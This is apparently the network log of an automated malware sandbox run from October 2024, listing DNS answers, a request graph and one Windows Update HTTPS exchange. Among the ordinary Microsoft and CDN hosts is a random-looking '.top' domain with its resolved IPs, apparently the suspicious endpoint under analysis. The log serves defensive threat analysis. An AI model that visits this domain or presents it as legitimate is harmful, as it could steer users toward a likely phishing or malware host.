Oct 25, 2024 10:19:10.925837040 CEST	1.1.1.1	192.168.2.6	0xa855	No error (0)	spoprod-a.akamaihd.net	spoprod-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:14.274616003 CEST	1.1.1.1	192.168.2.6	0x1617	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.274616003 CEST	1.1.1.1	192.168.2.6	0x1617	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.274616003 CEST	1.1.1.1	192.168.2.6	0x1617	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.274616003 CEST	1.1.1.1	192.168.2.6	0x1617	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.276611090 CEST	1.1.1.1	192.168.2.6	0x7196	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.276611090 CEST	1.1.1.1	192.168.2.6	0x7196	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.277674913 CEST	1.1.1.1	192.168.2.6	0x4536	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 25, 2024 10:19:17.078088999 CEST	1.1.1.1	192.168.2.6	0xee61	No error (0)	oauth.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:17.078088999 CEST	1.1.1.1	192.168.2.6	0xee61	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.078088999 CEST	1.1.1.1	192.168.2.6	0xee61	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.085670948 CEST	1.1.1.1	192.168.2.6	0x256a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.085670948 CEST	1.1.1.1	192.168.2.6	0x256a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.086348057 CEST	1.1.1.1	192.168.2.6	0x4c81	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 25, 2024 10:19:17.933000088 CEST	1.1.1.1	192.168.2.6	0x1b1d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.933000088 CEST	1.1.1.1	192.168.2.6	0x1b1d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.933000088 CEST	1.1.1.1	192.168.2.6	0x1b1d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.933000088 CEST	1.1.1.1	192.168.2.6	0x1b1d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.024440050 CEST	1.1.1.1	192.168.2.6	0xf08e	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.024440050 CEST	1.1.1.1	192.168.2.6	0xf08e	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.024813890 CEST	1.1.1.1	192.168.2.6	0x449f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 25, 2024 10:19:19.025087118 CEST	1.1.1.1	192.168.2.6	0x9995	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.025966883 CEST	1.1.1.1	192.168.2.6	0x5d1	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.619232893 CEST	1.1.1.1	192.168.2.6	0x2211	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.619337082 CEST	1.1.1.1	192.168.2.6	0xeb7d	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.620820999 CEST	1.1.1.1	192.168.2.6	0xe1b8	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.621815920 CEST	1.1.1.1	192.168.2.6	0xfc04	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.623544931 CEST	1.1.1.1	192.168.2.6	0x38c7	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.623907089 CEST	1.1.1.1	192.168.2.6	0x671b	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.626080990 CEST	1.1.1.1	192.168.2.6	0x4a35	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.627034903 CEST	1.1.1.1	192.168.2.6	0x775d	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.629663944 CEST	1.1.1.1	192.168.2.6	0xbc14	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.629733086 CEST	1.1.1.1	192.168.2.6	0x1d48	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.633702993 CEST	1.1.1.1	192.168.2.6	0x983f	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.634788990 CEST	1.1.1.1	192.168.2.6	0x47f4	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.662318945 CEST	1.1.1.1	192.168.2.6	0xc40a	No error (0)	common.online.office.com	common-geo.wac.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.662318945 CEST	1.1.1.1	192.168.2.6	0xc40a	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.662318945 CEST	1.1.1.1	192.168.2.6	0xc40a	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:19.662318945 CEST	1.1.1.1	192.168.2.6	0xc40a	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.662318945 CEST	1.1.1.1	192.168.2.6	0xc40a	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.663055897 CEST	1.1.1.1	192.168.2.6	0x42c7	No error (0)	common.online.office.com	common-geo.wac.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.282217979 CEST	1.1.1.1	192.168.2.6	0xe231	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.282217979 CEST	1.1.1.1	192.168.2.6	0xe231	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.282490969 CEST	1.1.1.1	192.168.2.6	0x760b	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.282490969 CEST	1.1.1.1	192.168.2.6	0x760b	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.282490969 CEST	1.1.1.1	192.168.2.6	0x760b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.282490969 CEST	1.1.1.1	192.168.2.6	0x760b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.783046007 CEST	1.1.1.1	192.168.2.6	0xa465	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.783451080 CEST	1.1.1.1	192.168.2.6	0x3313	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.785348892 CEST	1.1.1.1	192.168.2.6	0xeb8d	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.785845995 CEST	1.1.1.1	192.168.2.6	0xe671	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.786170006 CEST	1.1.1.1	192.168.2.6	0x53b0	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.786433935 CEST	1.1.1.1	192.168.2.6	0xcc90	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.787707090 CEST	1.1.1.1	192.168.2.6	0x3706	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.787795067 CEST	1.1.1.1	192.168.2.6	0xb05e	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.789271116 CEST	1.1.1.1	192.168.2.6	0x1fec	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.789614916 CEST	1.1.1.1	192.168.2.6	0xa1ff	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.790338039 CEST	1.1.1.1	192.168.2.6	0xb0d	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.791507006 CEST	1.1.1.1	192.168.2.6	0xb33c	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.849899054 CEST	1.1.1.1	192.168.2.6	0x7630	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.850699902 CEST	1.1.1.1	192.168.2.6	0x7d1b	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.913940907 CEST	1.1.1.1	192.168.2.6	0xb4eb	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:20.914829016 CEST	1.1.1.1	192.168.2.6	0x92f0	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.206111908 CEST	1.1.1.1	192.168.2.6	0xcbf7	No error (0)	storage.live.com	common-geo.ha.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.206111908 CEST	1.1.1.1	192.168.2.6	0xcbf7	No error (0)	common-geo.ha.1drv.com	common-emea.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.207139015 CEST	1.1.1.1	192.168.2.6	0xf0aa	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.207185030 CEST	1.1.1.1	192.168.2.6	0xbe50	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.209389925 CEST	1.1.1.1	192.168.2.6	0xde6	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.209389925 CEST	1.1.1.1	192.168.2.6	0xde6	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.209389925 CEST	1.1.1.1	192.168.2.6	0xde6	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:22.223922968 CEST	1.1.1.1	192.168.2.6	0xa3d0	No error (0)	storage.live.com	common-geo.ha.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.223922968 CEST	1.1.1.1	192.168.2.6	0xa3d0	No error (0)	common-geo.ha.1drv.com	common-emea.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:22.228286028 CEST	1.1.1.1	192.168.2.6	0x4cfb	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:23.352052927 CEST	1.1.1.1	192.168.2.6	0x4ec6	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:23.352052927 CEST	1.1.1.1	192.168.2.6	0x4ec6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:23.352052927 CEST	1.1.1.1	192.168.2.6	0x4ec6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:23.352432013 CEST	1.1.1.1	192.168.2.6	0xeadc	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:25.007844925 CEST	1.1.1.1	192.168.2.6	0x3085	No error (0)	oauth.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:25.007844925 CEST	1.1.1.1	192.168.2.6	0x3085	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:25.007844925 CEST	1.1.1.1	192.168.2.6	0x3085	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:25.297171116 CEST	1.1.1.1	192.168.2.6	0xf77e	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:25.322865963 CEST	1.1.1.1	192.168.2.6	0xe91b	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:31.697622061 CEST	1.1.1.1	192.168.2.6	0x3880	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:31.697622061 CEST	1.1.1.1	192.168.2.6	0x3880	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:31.697622061 CEST	1.1.1.1	192.168.2.6	0x3880	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:31.697622061 CEST	1.1.1.1	192.168.2.6	0x3880	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:31.698770046 CEST	1.1.1.1	192.168.2.6	0x1638	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:31.698770046 CEST	1.1.1.1	192.168.2.6	0x1638	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:47.004163980 CEST	1.1.1.1	192.168.2.6	0xa2fe	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:47.004442930 CEST	1.1.1.1	192.168.2.6	0x8c53	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:47.004811049 CEST	1.1.1.1	192.168.2.6	0xf0f2	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:47.005063057 CEST	1.1.1.1	192.168.2.6	0xce05	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:47.005321980 CEST	1.1.1.1	192.168.2.6	0x1a7d	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:47.005350113 CEST	1.1.1.1	192.168.2.6	0xc6fb	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:48.391675949 CEST	1.1.1.1	192.168.2.6	0x7455	No error (0)	common.online.office.com	common-geo.wac.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:48.391675949 CEST	1.1.1.1	192.168.2.6	0x7455	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:48.391675949 CEST	1.1.1.1	192.168.2.6	0x7455	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:48.391675949 CEST	1.1.1.1	192.168.2.6	0x7455	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:48.392173052 CEST	1.1.1.1	192.168.2.6	0x35f1	No error (0)	common.online.office.com	common-geo.wac.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:53.435285091 CEST	1.1.1.1	192.168.2.6	0x5026	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:53.435285091 CEST	1.1.1.1	192.168.2.6	0x5026	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:53.435285091 CEST	1.1.1.1	192.168.2.6	0x5026	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:53.605313063 CEST	1.1.1.1	192.168.2.6	0x157d	No error (0)	westeurope-pd02.augloop.office.com	augloop-prod-pd02.westeurope.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:53.606333017 CEST	1.1.1.1	192.168.2.6	0x9c7a	No error (0)	westeurope-pd02.augloop.office.com	augloop-prod-pd02.westeurope.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:54.380533934 CEST	1.1.1.1	192.168.2.6	0x938	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:54.380533934 CEST	1.1.1.1	192.168.2.6	0x938	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:54.380533934 CEST	1.1.1.1	192.168.2.6	0x938	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:11.784682035 CEST	1.1.1.1	192.168.2.6	0x875e	No error (0)	westeurope-pd02.augloop.office.com	augloop-prod-pd02.westeurope.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:11.784694910 CEST	1.1.1.1	192.168.2.6	0xfbba	No error (0)	westeurope-pd02.augloop.office.com	augloop-prod-pd02.westeurope.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:14.545207977 CEST	1.1.1.1	192.168.2.6	0x3db6	No error (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top			65	IN (0x0001)	false
Oct 25, 2024 10:20:14.718447924 CEST	1.1.1.1	192.168.2.6	0x4382	No error (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top		104.21.16.104	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:14.718447924 CEST	1.1.1.1	192.168.2.6	0x4382	No error (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top		172.67.167.62	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.654530048 CEST	1.1.1.1	192.168.2.6	0xe517	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.654530048 CEST	1.1.1.1	192.168.2.6	0xe517	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.654530048 CEST	1.1.1.1	192.168.2.6	0xe517	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.654530048 CEST	1.1.1.1	192.168.2.6	0xe517	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.656128883 CEST	1.1.1.1	192.168.2.6	0xa0fc	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.656128883 CEST	1.1.1.1	192.168.2.6	0xa0fc	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.656313896 CEST	1.1.1.1	192.168.2.6	0x958	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 25, 2024 10:20:27.406074047 CEST	1.1.1.1	192.168.2.6	0x24ae	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:27.406074047 CEST	1.1.1.1	192.168.2.6	0x24ae	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:27.406074047 CEST	1.1.1.1	192.168.2.6	0x24ae	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:27.406074047 CEST	1.1.1.1	192.168.2.6	0x24ae	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:27.406074047 CEST	1.1.1.1	192.168.2.6	0x24ae	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:27.408400059 CEST	1.1.1.1	192.168.2.6	0x7668	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:20:27.408400059 CEST	1.1.1.1	192.168.2.6	0x7668	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

https:

www.bing.com

common.online.office.com

onenote.officeapps.live.com

usc-onenote.officeapps.live.com

ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top

code.jquery.com

challenges.cloudflare.com

oauth.officeapps.live.com

www.onenote.com

appsforoffice.microsoft.com

klickskydd.skolverket.org

onedrive.live.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49726	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AguaVUDH4zt5r+x&MD=MMg9cB1M HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-25 08:18:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 18005dfb-9121-4638-971e-d363bb84fd7c MS-RequestId: c0f151c4-01d3-4d68-ad75-ddd1fd7c3ce4 MS-CV: YFN/qxY9cU+t141J.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 25 Oct 2024 08:18:13 GMT Connection: close Content-Length: 24490
2024-10-25 08:18:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
